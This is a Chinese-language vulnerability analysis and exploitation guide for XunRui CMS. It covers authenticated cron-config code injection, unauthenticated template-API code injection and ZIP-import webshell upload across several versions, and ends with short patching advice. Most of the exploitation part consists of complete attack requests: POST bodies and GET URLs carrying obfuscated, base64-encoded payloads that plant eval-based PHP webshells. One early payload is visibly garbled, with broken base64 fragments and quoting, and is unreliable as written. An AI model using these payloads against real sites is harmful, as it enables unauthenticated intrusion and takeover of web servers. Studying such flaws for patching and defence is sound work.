某CMS漏洞总结
字数 1808 2025-08-27 12:33:37
迅睿CMS漏洞分析与利用指南
1. 迅睿CMS版本切换方法
在进行漏洞复现前,需要将CMS回退到指定版本:
- 安装并配置好PHP与Web中间件(注意低版本需要PHP低版本)
- 克隆官方开源地址:
https://gitee.com/dayrui/xunruicms - 通过搜索commit信息里的版本号,回退到指定版本
- 在PhpStorm中,右键指定commit版本
- 选择"Reset Current Branch to Here"
- 选择"Hard",点击"Reset"
- 访问、安装并登录后台(后台地址:/admin.php)
2. 迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞
漏洞概述
- 影响版本:v4.3.3到v4.5.1
- 触发条件:
- 登录后台
- 具有管理员或"应用"->"任务队列"的管理权限
漏洞原理
Admin/Cron.php控制器的add()函数对用户输入过滤不严,导致可向WRITEPATH.'config/cron.php'写入任意内容,且该文件会被多处包含。
漏洞分析
v4.3.3到v4.5.0版本
- 访问
http://host:port/Admin.php?c=Cron&m=add调用add()函数 - 关键代码:
if (IS_AJAX_POST) {
$post = \Phpcmf\Service::L('input')->post('data', true);
file_put_contents(WRITEPATH.'config/cron.php',
'<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');' .
PHP_EOL . '$json=\'' . json_encode($post) . '\';');
// ...
}
- 漏洞点:
$post内容未经充分过滤即写入文件,且可通过编码绕过XSS清洗
v4.5.1版本
增加了对$post内容的过滤:
$post[$key]['name'] = dr_safe_filename($t['name']);
$post[$key]['code'] = dr_safe_filename($t['code']);
但可通过修改数组key来绕过过滤。
漏洞利用
获取CSRF Token
- 访问
http://host:port/Admin.php?c=Cron&m=add - 抓取点击"保存"时的POST包
- 获取
csrf_test_name值
v4.3.3到v4.5.0利用
POST内容:
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA=POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ=htmlspecialchars_decode('>'));return;'%5D
URL解码后:
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA=POST['.base64_decode('Ig==').'password'.base64_decode('Ig=base64_decode('KQ=htmlspecialchars_decode('>'));return;']
写入cron.php的内容:
<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA=POST['.base64_decode('Ig==').'password'.base64_decode('Ig=base64_decode('KQ=htmlspecialchars_decode('>'));return;']"}}';
访问http://host:port/Admin.php?c=Cron&m=add后,会在网站根目录生成webshell.php,内容为<?php eval(@$_POST["password"]);?>
v4.5.1利用
POST内容:
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1
URL解码后:
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1
写入cron.php的内容:
<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"1","code\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'":"1","code":""}}';
同样会生成webshell.php文件。
3. 迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞
漏洞概述
- 影响版本:v4.5.0到v4.5.1
- 触发条件:无需登录,前台即可利用
漏洞利用
写入Webshell
- 先写入
<:
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=<
- 写入剩余语句:
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=?php%0dfile_put_contents('webshell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ZWJzaGVsbCddKTs/Pg=='));%20param2=FILE_APPEND
访问webshell2.php后会在同目录生成webshell.php,内容为<?php @eval($_POST['webshell']);?>
执行无参函数
如执行phpinfo():
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1
4. 迅睿CMS v4.5.4到v4.5.6文件上传漏洞
漏洞概述
- 影响版本:v4.5.4到v4.5.6
- 触发条件:
- 登录后台
- 具有管理员或"应用"->"联动菜单"的管理权限
漏洞利用
v4.5.4版本
- 创建包含Webshell的ZIP文件(如
webshell.php) - 后台"应用"->"联动菜单"->"导入"上传ZIP
- 抓包获取上传路径(通常为
*/cache/temp/*.zip) - 访问解压后的文件:
http://domain:port/cache/temp/webshell/webshell.php
v4.5.5和v4.5.6版本
- 创建包含Webshell的文件夹结构:
webshell/ └── webshell.php - 压缩为ZIP并上传
- 访问解压后的文件:
http://domain:port/cache/temp/linkage/webshell/webshell/webshell.php
5. 总结
| 漏洞类型 | 影响版本 | 利用条件 | 利用方法 |
|---|---|---|---|
| 后台代码注入 | v4.3.3-v4.5.1 | 后台管理员权限 | 通过任务队列功能写入恶意代码 |
| 前台代码注入 | v4.5.0-v4.5.1 | 无需登录 | 通过API接口执行任意代码 |
| 文件上传 | v4.5.4-v4.5.6 | 后台管理员权限 | 通过联动菜单导入功能上传恶意ZIP |
建议:
- 及时更新到最新版本
- 限制后台访问权限
- 对上传文件进行严格过滤
- 禁用不必要的API功能